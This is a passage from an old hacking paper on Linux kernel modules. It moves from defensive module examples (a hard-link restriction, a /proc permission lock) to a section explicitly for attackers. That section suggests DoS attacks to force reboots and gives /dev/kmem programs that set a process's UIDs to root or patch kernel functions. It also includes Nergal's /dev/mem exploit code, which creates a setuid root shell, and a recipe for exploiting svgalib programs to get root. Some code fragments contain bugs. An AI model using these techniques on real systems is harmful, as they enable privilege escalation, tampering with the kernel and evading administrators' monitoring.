  3328. open = sys_call_table[__NR_open];
  3329. close = sys_call_table[__NR_close];
  3330. return 0;
  3331. }
  3332. void cleanup_module(void) /*module shutdown*/
  3333. {
  3334. sys_call_table[SYS_execve]=orig_execve;
  3335. }
  3336. </xmp>
  3337. This is not exactly the same as route's kernel patch. route checked the <i>path</i>
  3338. we check the <i>file</i> (a path check would also be possible, but in my opinion a
  3339. file check is also the better way). I only implemented a check for UID of the
  3340. file, so an admin can filter the file execution process. As I said the open /
  3341. fd approach I used above is not the easiest way; I took it because it should be
  3342. familiar to you (remember, the LKM infector used this method). For our purpose
  3343. the following kernel function is also possible (easier way) :
  3344. <xmp>
  3345. int namei(const char *pathname, struct inode **res_inode);
  3346. int lnamei(const char *pathname, struct inode **res_inode);
  3347. </xmp>
  3348. Those functions take a certain pathname and return the corresponding inode
  3349. structure. The difference between the functions above lies in the symlink
  3350. resolving : lnamei does <i>not</i> resolve a symlink and returns the inode structure
  3351. for the symlink itself. As a hacker you could also modify inodes. Just retrieve
  3352. them by hooking sys_execve(...) and using namei(...) (the way we use also for
  3353. execution control) and manipulate the inode (I will show a practical example
  3354. of this idea in 5.3).
  3355. <H4><A NAME="III.4.2."></A>4.2 The Link Patch</h4>
  3356. Every Linux user knows that symlink bugs are something which often leads to
  3357. serious problems if it comes to system security. Andrew Tridgell developed a
  3358. kernel patch which prevents a process from 'following a link which is in a +t
  3359. (mostly /tmp/) directory unless they own the link'. Solar Designer added some
  3360. code which also prevents users from creating hard links in a +t directory to
  3361. files they don't own.<br>
  3362. I have to admit that the symlink patch lies on a layer we can't easily reach
  3363. from our LKM psotion. There are neither exported symbols we could patch nor any
  3364. systemcalls we could intercept. The symlink resolving is done by the VFS. Take
  3365. a look at part IV for methods which could help us to solve this problem (but I
  3366. would not use the methods from IV to <i>secure</i> a system). You may wonder why I
  3367. don't use the sys_readlink(...) systemcall for solving the problem. Well this
  3368. call is used if you do a 'ls -a symlink' but it is not called if you issue a
  3369. 'cat symlink'.<br>
  3370. In my opinion you should leave this as a kernel patch. Of course you can code
  3371. a LKM which intercepts the sys_symlink(...) systemcall in order to prevent a
  3372. user from creating symlinks in the /tmp directory. Look at the hard link LKM
  3373. for a similar implementation.<br>
  3374. Ok, the symlink problem was a bit hard to transform it to a LKM. How about Solar
  3375. Designer's idea concerning hard link restrictions. This can be done as LKM. We
  3376. only need to intercept sys_link(...) which is responsible for creating any hard
  3377. links.Let's take a look at hacked systemcall (the code fragment does not exactly
  3378. the same as the kernel patch, because we only check for the '/tmp/' directory,
  3379. not for the sticky bit(+t),but this can also be done with looking at the inode
  3380. structure of the directoy [see 5.1]) :
  3381. <xmp>
  3382. int hacked_link(const char *oldname, const char *newname)
  3383. {
  3384. char *kernel_newname;
  3385. int fd = 0, ret;
  3386. struct file *file;
  3387. kernel_newname = (char*) kmalloc(256, GFP_KERNEL);
  3388. memcpy_fromfs(kernel_newname, newname, 255);
  3389. /*hard link to /tmp/ directory ?*/
  3390. if (strstr(kernel_newname, (char*)&hide ) != NULL)
  3391. {
  3392. kfree(kernel_newname);
  3393. /*I use the open approach again :)*/
  3394. fd = open(oldname, O_RDONLY, 0);
  3395. file = current->files->fd[fd];
  3396. /*check for UID*/
  3397. if (file->f_inode->i_uid!=current->uid)
  3398. {
  3399. printk("<1>Hard Link Creation denied !\n");
  3400. close(fd);
  3401. return -1;
  3402. }
  3403. }
  3404. else
  3405. {
  3406. kfree(kernel_newname);
  3407. /*everything ok -> the user is allowed to create the hard link*/
  3408. return orig_link(oldname, newname);
  3409. }
  3410. }
  3411. </xmp>
  3412. This way you could also control the symlink <i>creation</i>.
  3413. <H4><A NAME="III.4.3."></A>4.3 The /proc permission patch</h4>
  3414. I already showed you some ways how to hide some process information.route's idea
  3415. is different to our hide approach. He wants to limit the /proc/ access (needed
  3416. for access to process information) by changing the directory permissions. So
  3417. he patched the proc inode. The following LKM will do exactly the same without a
  3418. static kernel patch. If you load it a user will not be allowed to read the proc
  3419. fs, if you unload it he will be able to. Here we go :
  3420. <xmp>
  3421. /*very bad programming style (perhaps we should use a function for the
  3422. indode retrieving), but it works...*/
  3423. #define __KERNEL__
  3424. #define MODULE
  3425. #define BEGIN_KMEM {unsigned long old_fs=get_fs();set_fs(get_ds());
  3426. #define END_KMEM set_fs(old_fs);}
  3427. #include <linux/version.h>
  3428. #include <linux/mm.h>
  3429. #include <linux/unistd.h>
  3430. #include <linux/fs.h>
  3431. #include <linux/types.h>
  3432. #include <asm/errno.h>
  3433. #include <asm/string.h>
  3434. #include <linux/fcntl.h>
  3435. #include <sys/syscall.h>
  3436. #include <linux/module.h>
  3437. #include <linux/malloc.h>
  3438. #include <linux/kernel.h>
  3439. #include <linux/kerneld.h>
  3440. extern void *sys_call_table[];
  3441. int (*open)(char *, int, int);
  3442. int (*close)(int);
  3443. int init_module(void) /*module setup*/
  3444. {
  3445. int fd = 0;
  3446. struct file *file;
  3447. struct inode *ino;
  3448. /*again the open(...) way*/
  3449. open = sys_call_table[SYS_open];
  3450. close = sys_call_table[SYS_close];
  3451. /*we have to supplie some kernel space data for the systemcall*/
  3452. BEGIN_KMEM
  3453. fd = open("/proc", O_RDONLY, 0);
  3454. END_KMEM
  3455. printk("%d\n", fd);
  3456. file = current->files->fd[fd];
  3457. /*here's the inode for the proc directory*/
  3458. ino= file->f_inode;
  3459. /*modify permissions*/
  3460. ino->i_mode=S_IFDIR | S_IRUSR | S_IXUSR;
  3461. close(fd);
  3462. return 0;
  3463. }
  3464. void cleanup_module(void) /*module shutdown*/
  3465. {
  3466. int fd = 0;
  3467. struct file *file;
  3468. struct inode *ino;
  3469. BEGIN_KMEM
  3470. fd = open("/proc", O_RDONLY, 0);
  3471. END_KMEM
  3472. printk("%d\n", fd);
  3473. file = current->files->fd[fd];
  3474. /*here's the inode for the proc directory*/
  3475. ino= file->f_inode;
  3476. /*modify permissions*/
  3477. ino->i_mode=S_IFDIR | S_IRUGO | S_IXUGO;
  3478. close(fd);
  3479. }
  3480. </xmp>
  3481. Just load this module and try a ps, top or whatever, it won't work. Every access
  3482. to the /proc directory is totally denied. Of course, as root you are still
  3483. allowed to view every process and anything else; this is just a permission patch
  3484. in order to keep your users silly.<br>
  3485. [Note : This is a practical implementation of modifying inodes 'on the fly' you
  3486. should see many possibilities how to abuse this.]
  3487. <H4><A NAME="III.4.4."></A>4.4 The securelevel patch</h4>
  3488. The purpose of this patch : I quote route
  3489. <blockquote>
  3490. "This patch isn't really much of a patch. It simply bumps the securelevel
  3491. up, to 1 from 0. This freezes the immutable and append-only bits on files,
  3492. keeping anyone from changing them (from the normal chattr interface). Before
  3493. turning this on, you should of course make certain key files immutable, and
  3494. logfiles append-only. It is still possible to open the raw disk device,
  3495. however. Your average cut and paste hacker will probably not know how to do
  3496. this."
  3497. </blockquote>
  3498. Ok this one is really easy to implement as a LKM. We are lucky because the symbol
  3499. responsible for the securelevel is public (see /proc/ksyms) so we can easily
  3500. change it. I won't present an example for this bit of code, just import secure
  3501. level and set it in the module's init function.
  3502. <H4><A NAME="III.4.5."></A>4.5 The rawdisk patch</h4>
  3503. I developed an easy way to avoid tools like THC's manipate-data.<br>
  3504. Those tools are used by hackers to search the hard disk for their origin IP address or DNS name.
  3505. After finding it they modify or remove the entry from the hard disk. For doing
  3506. all this they need access to the /dev/* files for opening the rawdisk. Of course
  3507. they can only do this after rooting the system. So what can we do about this. I
  3508. found that the following way helps to prevent those attacks [of course there are
  3509. again thousand ways to defeat that protection :(] :
  3510. <ul>
  3511. <li> boot your system<br>
  3512. <li> install a LKM which prevents direct (dev/*) access to your partition you save
  3513. your logs<br>
  3514. </ul>
  3515. This works because the system (normally) only needs direct access to the rawdisk
  3516. during the some (seldom) operationes. The LKM just intercepts sys_open(...) and
  3517. filter for the needed dev-file. I think it's not necessary to show how to code
  3518. it, take a look at II.4.2). This way you can protect any /dev/* file. The
  3519. problem is that this way nobody can access them directly while the LKM is
  3520. loaded. <br>
  3521. [Note : There are some functions which will not work / crash the system, but
  3522. a normal web-, or mailserver should work with this patch.]
  3523. <u><b>
  3524. <H2>IV. Some Better Ideas (for hackers)</H2>
  3525. </u></b>
  3526. <P><P>
  3527. <H3><A NAME="IV.1."></A>1. Tricks to beat admin LKMs</h3>
  3528. This part will give us some notes on playing with the kernel on systems where
  3529. you have a paranoid (good) admin. After explaining all the ways admins can
  3530. protect a system, it is very hard to find better ways for us (hackers). <br>
  3531. We need to leave the LKM field for some seconds in order to beat those hard
  3532. protections.<br>
  3533. Imagine a system where an admin has installed a very good and big monitor LKM
  3534. which checks every action on that system. It can do everything mentioned in part
  3535. II and III.<br>
  3536. The first way to get rid of this LKM is trying to reboot the system, perhaps the
  3537. admin did not load this LKM from an init file. So try some DoS Attacks or
  3538. whatever works. If you still cannot kill this LKM try to look at some important
  3539. files, but be careful, some files may be protected / monitored (see appendix A
  3540. for such a LKM).<br>
  3541. If you really cannot see where the LKM is loaded etc., forget the system
  3542. or risk installing a backdoor, which you cannot hide (process/file). But if an
  3543. admin really uses such a 'mega' LKM, forget the system, he might really be good
  3544. and you may get some trouble. For those who even want to beat that system read
  3545. section 2.
  3546. <H3><A NAME="IV.2."></A>2. Patching the whole kernel - or creating the Hacker-OS</h3>
  3547. [Note : This section may sound a bit off topic, but in the end I'll present a
  3548. nice idea (program that was developed by Silvio Cesare which will also help us
  3549. using our LKMs. This section will only give a summary of the whole kmem problem
  3550. due to the fact that we only need to focus on the idea by Silvio Cesare.]<br>
  3551. Ok LKM's are nice. But what if the admin is like the one described in 1. He does
  3552. everything in order to prevent us from using our nice LKM techniques from part
  3553. II. He even patched his own kernel, to make his system secure. He uses a kernel
  3554. without native LKM support.<br>
  3555. So now it's time to make our last step : Runtime Kernel Patching. The basic
  3556. ideas in this section come from some sources I found (kmemthief etc) and a paper
  3557. by Silvio Cesare which describes a general approach to modifying kernel symbols.
  3558. In my opinion this kind of attack is one of the strongest concerning 'kernel
  3559. hacking'. I don't undersand every Un*x kernel out there, but this approac can
  3560. help you on many systems. This section describes Runtime Kernel Patching, but
  3561. what about kernelfile patching. Every system has a file which represents the
  3562. plain kernel. On free systems like FreeBSD, Linux, ... it is easy to patch a
  3563. kernel file, but what about the commercial ones ? I never tried it, but I think
  3564. this would really be interesting : Imagine backdoor'ing a system thru a kernel
  3565. patch. You only have to do a reboot or wait for one (every system must reboot
  3566. sometimes :). But this text will only deal with the runtime approach. You may
  3567. say that this paper is called 'Abusing Linux Loadable Kernel Modules' and you
  3568. don't want to know how to patch the whole Linux kernel. Well this section will
  3569. help us to 'insmod' LKMs on systems which are very secure and have no LKM
  3570. support in their kernel. So we learn something which will help us with our LKM
  3571. abusing.<br>
  3572. So let's start with the most important thing we have to deal with if we want to
  3573. do RKP(Runtime Kernel Patching).It's the file /dev/kmem,which makes it possible
  3574. for us to take a look (and modify) the complete virtual memory of our target
  3575. system. [Note : Remember that the RKP approach is in most cases only useful, if
  3576. you rooted a system. Only very unsecure systems will give normal users access to
  3577. that file].<br>
  3578. As I said before /dev/kmem gives us the chance to see every memory byte of our
  3579. system (plus swap). This means we can also access the whole memory which allows
  3580. us to manipulate any kernel item in the memory (because the kernel is only some
  3581. objectcode loaded into system memory). Remember the /proc/ksyms file which shows
  3582. us every address of an exported kernel symbol. So we know where to modify memory
  3583. in order to manipulate some kernel symbols. Let's take a look at a very basic
  3584. example which is know for a very long time. The following (user space) program
  3585. takes the task_structure address (look for kstat in /proc/ksyms) and a certain
  3586. PID. After seacxhing the task structure that stands for the specified PID it
  3587. modifies every user id field in order to make this process UID=0. Of course
  3588. today this program is nearly of no use, because most systems don't even allow
  3589. a normal user to read /dev/kmem but it is a good introduction into RKP.
  3590. <xmp>
  3591. /*Attention : I implemented no error checking!*/
  3592. #include <stdio.h>
  3593. #include <stdlib.h>
  3594. #include <unistd.h>
  3595. #include <fcntl.h>
  3596. /*max. number of task structures to iterate*/
  3597. #define NR_TASKS 512
  3598. /*our task_struct -> I only use the parts we need*/
  3599. struct task_struct {
  3600. char a[108]; /*stuff we don't need*/
  3601. int pid;
  3602. char b[168]; /*stuff we don't need*/
  3603. unsigned short uid,euid,suid,fsuid;
  3604. unsigned short gid,egid,sgid,fsgid;
  3605. char c[700]; /*stuff we don't need*/
  3606. };
  3607. /*here's the original task_structure, to show you what else you can modify
  3608. struct task_struct {
  3609. volatile long state;
  3610. long counter;
  3611. long priority;
  3612. unsigned long signal;
  3613. unsigned long blocked;
  3614. unsigned long flags;
  3615. int errno;
  3616. long debugreg[8];
  3617. struct exec_domain *exec_domain;
  3618. struct linux_binfmt *binfmt;
  3619. struct task_struct *next_task, *prev_task;
  3620. struct task_struct *next_run, *prev_run;
  3621. unsigned long saved_kernel_stack;
  3622. unsigned long kernel_stack_page;
  3623. int exit_code, exit_signal;
  3624. unsigned long personality;
  3625. int dumpable:1;
  3626. int did_exec:1;
  3627. int pid;
  3628. int pgrp;
  3629. int tty_old_pgrp;
  3630. int session;
  3631. int leader;
  3632. int groups[NGROUPS];
  3633. struct task_struct *p_opptr, *p_pptr, *p_cptr, *p_ysptr, *p_osptr;
  3634. struct wait_queue *wait_chldexit;
  3635. unsigned short uid,euid,suid,fsuid;
  3636. unsigned short gid,egid,sgid,fsgid;
  3637. unsigned long timeout, policy, rt_priority;
  3638. unsigned long it_real_value, it_prof_value, it_virt_value;
  3639. unsigned long it_real_incr, it_prof_incr, it_virt_incr;
  3640. struct timer_list real_timer;
  3641. long utime, stime, cutime, cstime, start_time;
  3642. unsigned long min_flt, maj_flt, nswap, cmin_flt, cmaj_flt, cnswap;
  3643. int swappable:1;
  3644. unsigned long swap_address;
  3645. unsigned long old_maj_flt;
  3646. unsigned long dec_flt;
  3647. unsigned long swap_cnt;
  3648. struct rlimit rlim[RLIM_NLIMITS];
  3649. unsigned short used_math;
  3650. char comm[16];
  3651. int link_count;
  3652. struct tty_struct *tty;
  3653. struct sem_undo *semundo;
  3654. struct sem_queue *semsleeping;
  3655. struct desc_struct *ldt;
  3656. struct thread_struct tss;
  3657. struct fs_struct *fs;
  3658. struct files_struct *files;
  3659. struct mm_struct *mm;
  3660. struct signal_struct *sig;
  3661. #ifdef __SMP__
  3662. int processor;
  3663. int last_processor;
  3664. int lock_depth;
  3665. #endif
  3666. };
  3667. */
  3668. int main(int argc, char *argv[])
  3669. {
  3670. unsigned long task[NR_TASKS];
  3671. /*used for the PID task structure*/
  3672. struct task_struct current;
  3673. int kmemh;
  3674. int i;
  3675. pid_t pid;
  3676. int retval;
  3677. pid = atoi(argv[2]);
  3678. kmemh = open("/dev/kmem", O_RDWR);
  3679. /*seek to memory address of the first task structure*/
  3680. lseek(kmemh, strtoul(argv[1], NULL, 16), SEEK_SET);
  3681. read(kmemh, task, sizeof(task));
  3682. /*iterate till we found our task structure (identified by PID)*/
  3683. for (i = 0; i < NR_TASKS; i++)
  3684. {
  3685. lseek(kmemh, task[i], SEEK_SET);
  3686. read(kmemh, &current, sizeof(current));
  3687. /*is it our process?*/
  3688. if (current.pid == pid)
  3689. {
  3690. /*yes, so change the UID fields...*/
  3691. current.uid = current.euid = 0;
  3692. current.gid = current.egid = 0;
  3693. /*write them back to memory*/
  3694. lseek(kmemh, task[i], SEEK_SET);
  3695. write(kmemh, &current, sizeof(current));
  3696. printf("Process was found and task structure was modified\n");
  3697. exit(0);
  3698. }
  3699. }
  3700. }
  3701. </xmp>
  3702. Nothing special about this little program. It's just like searching a certain
  3703. pattern in a file and changing some fields. There are lots of programs out
  3704. there which are doing stuff like that. As you can see the example above won't
  3705. help you attacking a system, it's just for demonstration (but there mayby some
  3706. poor systems allowing users to write to /dev/kmem, I don't know).<br>
  3707. The same way you can change the module structures responsible for holding the
  3708. kernel's module information. This way you can also hide a module, just by
  3709. patching kmem; I don't present an implementation of this, because it is basicly
  3710. the same as the program above (ok, the searching is a bit harder ;)).<br>
  3711. The way above we modified a kernel structure. There are some programs doing
  3712. things like that. But what about functions ? Well seach the internet and you
  3713. will soon recognize that there are not so many programs doing things like that.
  3714. Well, of course patching a kernel function (we will do more useful things later)
  3715. is a bit tricky. The best way would be to play with the sys_call_table structure
  3716. which will point to a completely new function made by us. Otherwise there would
  3717. be some problems concerning function size and so on. The following example is
  3718. just a very easy program making every systemcall doing nothing. I just insert
  3719. a RET(0xc3)at the beginning of the function address that I get from /proc/ksyms.
  3720. This way the function will return immediately doing nothing.<br>
  3721. <xmp>
  3722. /*again no error checking*/
  3723. #include <stdio.h>
  3724. #include <stdlib.h>
  3725. #include <unistd.h>
  3726. #include <fcntl.h>
  3727. /*just our RET opcode*/
  3728. unsigned char asmcode[]={0xc3};
  3729. int main(int argc, char *argv[])
  3730. {
  3731. unsigned long counter;
  3732. int kmemh;
  3733. /*open device*/
  3734. kmemh = open("/dev/kmem", O_RDWR);
  3735. /*seek to memory address where the function starts*/
  3736. lseek(kmemh, strtoul(argv[1], NULL, 16), SEEK_SET);
  3737. /*write our patch byte*/
  3738. write(kmemh, &asmcode, 1):
  3739. close(kmemh);
  3740. }
  3741. </xmp>
  3742. Let's summarize what we know so far : We can modify any kernel symbol; this
  3743. includes things like sys_call_table[] and any other function or structure.<br>
  3744. Remember that every kernel patching can only be done if we can access /dev/kmem
  3745. but there are also ways how to protect this file. Take a look at III.5.5.
  3746. <H4><A NAME="IV.2.1."></A>2.1 How to find kernel symbols in /dev/kmem</h4>
  3747. After the basic examples above you could ask how to modify <i>any</i> kernel symbol
  3748. and how to find interesting ones. In the example above we used /proc/ksyms to
  3749. get the address we need to modify a symbol. But what do we have on systems
  3750. with no lkm support build into their kernel, there won't be a /proc/ksyms file,
  3751. because it is only used for module management (public / available symbols)?
  3752. And what about kernel symbols that are not exported, how can we modify them ?<br>
  3753. Many questions, so let's find some solutions. Silvio Cesare discussed some
  3754. ways finding different kernel symbols (public & non-public ones). He outlines
  3755. that while compiling the linux kernel a file called 'System.map' is created
  3756. which maps every kernel symbol to a fixed address. This file is only needed
  3757. during compilation for resolving those kernel symbols. The running systems has
  3758. no need for that file.The addresses used for compilation are the same we can use
  3759. to seek /dev/kmem. So the general approach would be :
  3760. <ul>
  3761. <li>lookup System.map for the needed kernel symbol <br>
  3762. <li>take the address we found <br>
  3763. <li>modify the kernel symbol (structure, function, or whatever)<br>
  3764. </ul>
  3765. Sounds quite easy. But there is one big problem. Every system which does not
  3766. use exactly <i>our</i> kernel will have other addresses for their kernel symbols.<br>
  3767. And on most systems you won't find a helpful System.map file telling us every
  3768. address. So what to do. Silvio Cesare proposed to use a 'key search'. Just take
  3769. your kernel, read the first 10 bytes (just a random value) of a symbol address
  3770. and take them as a key for searching the same symbol in another kernel.<br>
  3771. If you cannot build a generic key for a certain symbol you may try to find some
  3772. relations from this symbol to other kernel symbols you can create generic keys
  3773. for. Finding relations can be done by looking up the kernel sources; this way
  3774. you can also find interesting kernel symbols you could modify (patch).<br>
  3775. <H4><A NAME="IV.2.2."></A>2.2 The new 'insmod' working without kernel support </h4>
  3776. Now it's time to go back to our LKM hacking. This section will give you some
  3777. hints concerning Silvio Cesare's kinsmod program. I will only outline the
  3778. general working. The most complicated part of the program is the objectcode
  3779. handling (elf file) and its kernel space mapping. But this is only a problem
  3780. of the elf header processing nothing kernel specific. Silvio Cesare used elf
  3781. files because this way you can insert [normal] LKMs. It would also be possible
  3782. to write a file (just opcodes -> see me RET example) and inserting this file
  3783. which would be harder to could but essier to map. For those who really want to
  3784. understand the elf file handling I added Silvio Cesare's file to this text (I've
  3785. also done it because Silvio Cesare wants his sources / ideas only be distributed
  3786. within the whole file).<br>
  3787. Now it's time to look at the general ideas of inserting LKMs on a system without
  3788. support for that feature.<br>
  3789. The first problem we are faced to if we want to insert code (a LKM or whatever)
  3790. into the kernel is the need for memory. We can't take a random address and write
  3791. our objectcode to /dev/kmem. So where can we put our code in a way it does not
  3792. hurt the running system and will not be removed due to some memory operation in
  3793. kernel space. There's one place where we can insert a bit of code, take a look
  3794. at the following figure showing the general kernel memory :
  3795. <xmp>
  3796. kernel data
  3797. ...
  3798. kmalloc pool
  3799. </xmp>
  3800. The kmalloc pool is used for memory allocation in kernel space (kmalloc(...)).
  3801. We cannot put our code into this pool because we cannot be sure that the address
  3802. space we write to is unused. Now comes Silvio Cesare's idea : the kmalloc pool
  3803. borders in memory are saved in memory_start and memory_end which are exported
  3804. by the kernel (see /proc/ksyms). The interesting point about this is that the
  3805. start address (memory_start) is <i>not</i> exactly the kmalloc pool start adress,
  3806. because this address is aligned to the next page border of memory_start.So there
  3807. is a bit of memory which will never be used (between memory_start and the real
  3808. start of the kmalloc pool). This is the best place to insert our code. Ok this
  3809. is not the whole story, you may recognize that no useful LKM will fit into this
  3810. little buffer. Silvio Cesare used some bootstrap code he put into this little
  3811. buffer; this code loads the actual LKM. This way we can load LKMs on systems
  3812. without support for this. Please read Silvio Cesare's paper for a in-depth
  3813. discussion on actually mapping a LKM file (elf format) into the kernel; this
  3814. is a bit difficult.
  3815. <H3><A NAME="IV.3."></A>3. Last words</h3>
  3816. Section 2 was nice, but what about systems which do not permit access to kmem?
  3817. Well a last way would be inserting/modifying kernel space with the help of some
  3818. kernel bugs. There are always some buffer overflows and other problems in kernel
  3819. space. Also consider checking modules for some bugs. Just take a look at the many
  3820. source files of the kernel. Even user space programs can help us to modify the
  3821. kernel.<br>
  3822. Bear in mind, that some weeks months ago a bug concerning svgalib was found. Every program
  3823. using svgalib gets a handle with write permissions to /dev/mem. /dev/mem can also
  3824. be used for RKP with the same adresses as /dev/kmem. So look at the following
  3825. list, to get some ideas how to do RKP on very secure systems :
  3826. <ul>
  3827. <li>find a program that uses svgalib<br>
  3828. <li>check the source of that program for common buffer overflows (should be not
  3829. too hard)
  3830. <li>write an exploit which starts a program using the open /dev/mem write handle
  3831. to manipulate the appropriate task structure to make your process UID 0
  3832. <li>create a root shell
  3833. </ul>
  3834. This generic scheme works very fine (zgv, gnuplot or some know examples). For
  3835. patching the task structure some people use the following program (which uses
  3836. the open write handle) by Nergal :
  3837. <XMP>
  3838. /* by Nergal */
  3839. #define SEEK_SET 0
  3840. #define __KERNEL__
  3841. #include <linux/sched.h>
  3842. #undef __KERNEL__
  3843. #define SIZEOF sizeof(struct task_struct)
  3844. int mem_fd;
  3845. int mypid;
  3846. void
  3847. testtask (unsigned int mem_offset)
  3848. {
  3849. struct task_struct some_task;
  3850. int uid, pid;
  3851. lseek (mem_fd, mem_offset, SEEK_SET);
  3852. read (mem_fd, &some_task, SIZEOF);
  3853. if (some_task.pid == mypid) /* is it our task_struct ? */
  3854. {
  3855. some_task.euid = 0;
  3856. some_task.fsuid = 0; /* needed for chown */
  3857. lseek (mem_fd, mem_offset, SEEK_SET);
  3858. write (mem_fd, &some_task, SIZEOF);
  3859. /* from now on, there is no law beyond do what thou wilt */
  3860. chown ("/tmp/sh", 0, 0);
  3861. chmod ("/tmp/sh", 04755);
  3862. exit (0);
  3863. }
  3864. }
  3865. #define KSTAT 0x001a8fb8 /* <-- replace this addr with that of your kstat */
  3866. main () /* by doing strings /proc/ksyms |grep kstat */
  3867. {
  3868. unsigned int i;
  3869. struct task_struct *task[NR_TASKS];
  3870. unsigned int task_addr = KSTAT - NR_TASKS * 4;
  3871. mem_fd = 3; /* presumed to be opened /dev/mem */
  3872. mypid = getpid ();
  3873. lseek (mem_fd, task_addr, SEEK_SET);
  3874. read (mem_fd, task, NR_TASKS * 4);
  3875. for (i = 0; i < NR_TASKS; i++)
  3876. if (task[i])
  3877. testtask ((unsigned int)(task[i]));
  3878. }
  3879. </xmp>
  3880. This was just an example to show you that there is always one way, you only have
  3881. to find it. Systems with stack execution patches, you could look for heap
  3882. overflows or just jump into some library functions (system(...)). There are thousand
  3883. ways...<br>
  3884. I hope this last section gave you some ideas how to proceed.
  3885. <u><b>
  3886. <H2>V. The near future : Kernel 2.2.x</H2>
  3887. </u></b>
  3888. <P><P>
  3889. <H3><A NAME="V.1."></A>1. Main Difference for LKM writer's</h3>
  3890. Linux has a new Kernel major Version 2.2 which brings some little changes to LKM
  3891. coding. This part will help you to make the change, and outline the biggest
  3892. changes. [Note : There will be another release concentrating on the new kernel]<br>
  3893. I will show you some new macros / functions which will help you to develope
  3894. LKMs for Kernel 2.2. For an exact listing of every change take a look at the
  3895. new Linux/module.h include file, which was totally rewritten for Kernel 2.1.18.
  3896. First we will look at some macros which will help us to handle the System Table
  3897. in an easier way :
  3898. <TABLE border=5 width=100%>
  3899. <tr>
  3900. <th>macro</th>
  3901. <th>description</th>
  3902. <tr>
  3903. <td>EXPORT_NO_SYMBOLS;</td>
  3904. <td>this one is equal to register_symtab(NULL) for older kernel versions</td>
  3905. </tr>
  3906. <tr>
  3907. <td>EXPORT_SYMTAB;</td>
  3908. <td>this one must be defined before linux/module.h if you want to export some symbols</td>
  3909. </tr>
  3910. <tr>
  3911. <td>EXPORT_SYMBOL(name);</td>
  3912. <td>export the symbol named 'name'</td>
  3913. </tr>
  3914. <tr>
  3915. <td>EXPORT_SYMBOL_NOVERS
  3916. (name);</td>
  3917. <td>export without version information</td>
  3918. </tr>
  3919. </table>
  3920. The user space access functions were also changed a bit, so I will list them
  3921. here (just include asm/uaccess.h to use them) :
  3922. <TABLE border=5 width=100%>
  3923. <tr>
  3924. <th>function</th>
  3925. <th>description</th>
  3926. <tr>
  3927. <td>int access_ok
  3928. (int type, unsigned long
  3929. addr, unsigned long size);</td>
  3930. <td>this function checks whether the current process is allowed to access addr</td>
  3931. </tr>
  3932. <tr>
  3933. <td>unsigned long
  3934. copy_from_user
  3935. (unsigned long to,
  3936. unsigned long from,
  3937. unsigned long len);</td>
  3938. <td>this is the 'new' memcpy_tofs function</td>
  3939. </tr>
  3940. <tr>
  3941. <td>unsigned long
  3942. copy_to_user
  3943. (unsigned long to,
  3944. unsigned long from,
  3945. unsigned long len);</td>
  3946. <td>this is the counterpart of copy_from_user(...)</td>
  3947. </tr>
  3948. </table>
  3949. You don't need to use access_ok(...) because the function listed above check
  3950. this themselves.
  3951. There are many more differences, but you should really take a look at linux/module.h
  3952. for a detailed listing.<br>
  3953. I want to mention one last thing. I wrote lots of stuff on the kerneldaemon
  3954. (kerneld). Kernel 2.2 will not use kerneld any more. It uses another way of
  3955. implementing the request_module(...) kernel space function - it's called <i>kmod</i>.
  3956. kmod totally runs in kernel space (no IPC to user space any more). For LKM
  3957. programmers nothing changes, you can still use the request_module(...) for
  3958. loading modules. So the LKM infectors could use this also on kernel 2.2 systems.<br>
  3959. I'm sorry about this little kernel 2.2 section, but at the moment I am working
  3960. on a general paper on kernel 2.2 security (especially the lkm behaviour). So watch
  3961. out for new THC releases. I even plan to work on some BSD systems (FreeBSD, OpenBSD,
  3962. for example) but this will take some months.
  3963. <u><b>
  3964. <H2>VI. Last Words</h2>
  3965. </u></b>
  3966. <P><P>
  3967. <H3><A NAME="VI.1."></A>1. The 'LKM story' or 'how to make a system plug & hack compatible'</h3>
  3968. You may wounder how insecure LKMs are and why they are used in such an insecure
  3969. ways. Well LKMs are designed to make life easier especially for users.Linux fights
  3970. agains Microsoft, so developers need a way to make the old unix style a bit more
  3971. attractive and easier. They implement things like KDE and other nice things.
  3972. Kerneld, for example, was developed in order to make module handling easier.
  3973. But remember, the easier and more automated a system is the more problems
  3974. concerning security are possible. It is <i>impossible</i> to make a system usable by
  3975. everyone and being secure enough. Modules are a great example for this.<br>
  3976. Microsoft shows us other examples : thinking of ActiveX, which is a (maybe) good
  3977. idea, with a cruel securiy design for keeping everything simple.<br>
  3978. So dear Linux developers : Be careful, and don't make the fault Microsoft made,
  3979. don't create a plug & hack compatible OS. KEEP SECURITY IN MIND !<br>
  3980. This text should also make clear that the kernel of any system must be protected
  3981. in the best way available.It must be impossible for attackers to modify the most
  3982. important item of your whole system. I leave this task to all system designers
  3983. out there :).
  3984. <H3><A NAME="VI.2."></A>2. Links to other Resources</h3>
  3985. Here are some interesting links about LKMs (not only hack & securiy related):<br>
  3986. <b>[Internet]</b><br>
  3987. <A HREF="http://www.linuxhq.com">http://www.linuxhq.com</A><br>
  3988. everything on Linux + nice kernel links<br>
  3989. <A HREF="http://www.linuxlinks.com">http://www.linuxlinks.com</a><br>
  3990. lots of links concerning Linux<br>
  3991. <A HREF="http://www.linux.org">http://www.linux.org</a><br>
  3992. 'propaganda' page for Linux<br>
  3993. <A HREF="http://www.lwn.net">http://www.lwn.net</a><br>
  3994. weekly Linux news; very interesting there are also kernel / securiy sections<br>
  3995. <A HREF="http://www.phrack.com">http://www.phrack.com</a><br>
  3996. read issue 50 & 52 for interesting module information<br>
  3997. <A HREF="http://www.rootshell.com">http://www.rootshell.com</a><br>
  3998. they have some nice LKMs<br>
  3999. <A HREF="http://www.geek-girl.com/bugtraq/">http://www.geek-girl.com/bugtraq/</a><br>
  4000. there were some discussions on LKM security<br>
  4001. <A HREF="http://hispahack.ccc.de">http://hispahack.ccc.de</a><br>
  4002. HISPAHACK homepage<br>
  4003. <A HREF="http://www.thc.org">http://www.thc.org</a><br>
  4004. THC homepage (articles, magazines and lots of tools)<br>
  4005. <A HREF="http://www.antisearch.com">http://www.antisearch.com</a><br>
  4006. one of the best security / hacking related search engines I know<br>
  4007. <A HREF="http://www.kernel.org">http://www.kernel.org</a><br>
  4008. get the kernel and study it !<br>
  4009. <p>
  4010. <b>[Books]</b><br>
  4011. Linux-Kernel-Programming (Addison Wesley) <br>
  4012. A very good book. I read the german version but I think there is also an english
  4013. version.
  4014. <p>
  4015. Linux Device Drivers (O'Reilly)<br>
  4016. A bit off topic, but also very interesting. The focus is more on writing LKMs
  4017. as device drivers.
  4018. <H3><A NAME="Acknowledgements"></A>Acknowledgements</h3>
  4019. <p>
  4020. <u><b>Thanks for sources / ideas fly to :</u></b>
  4021. <p>
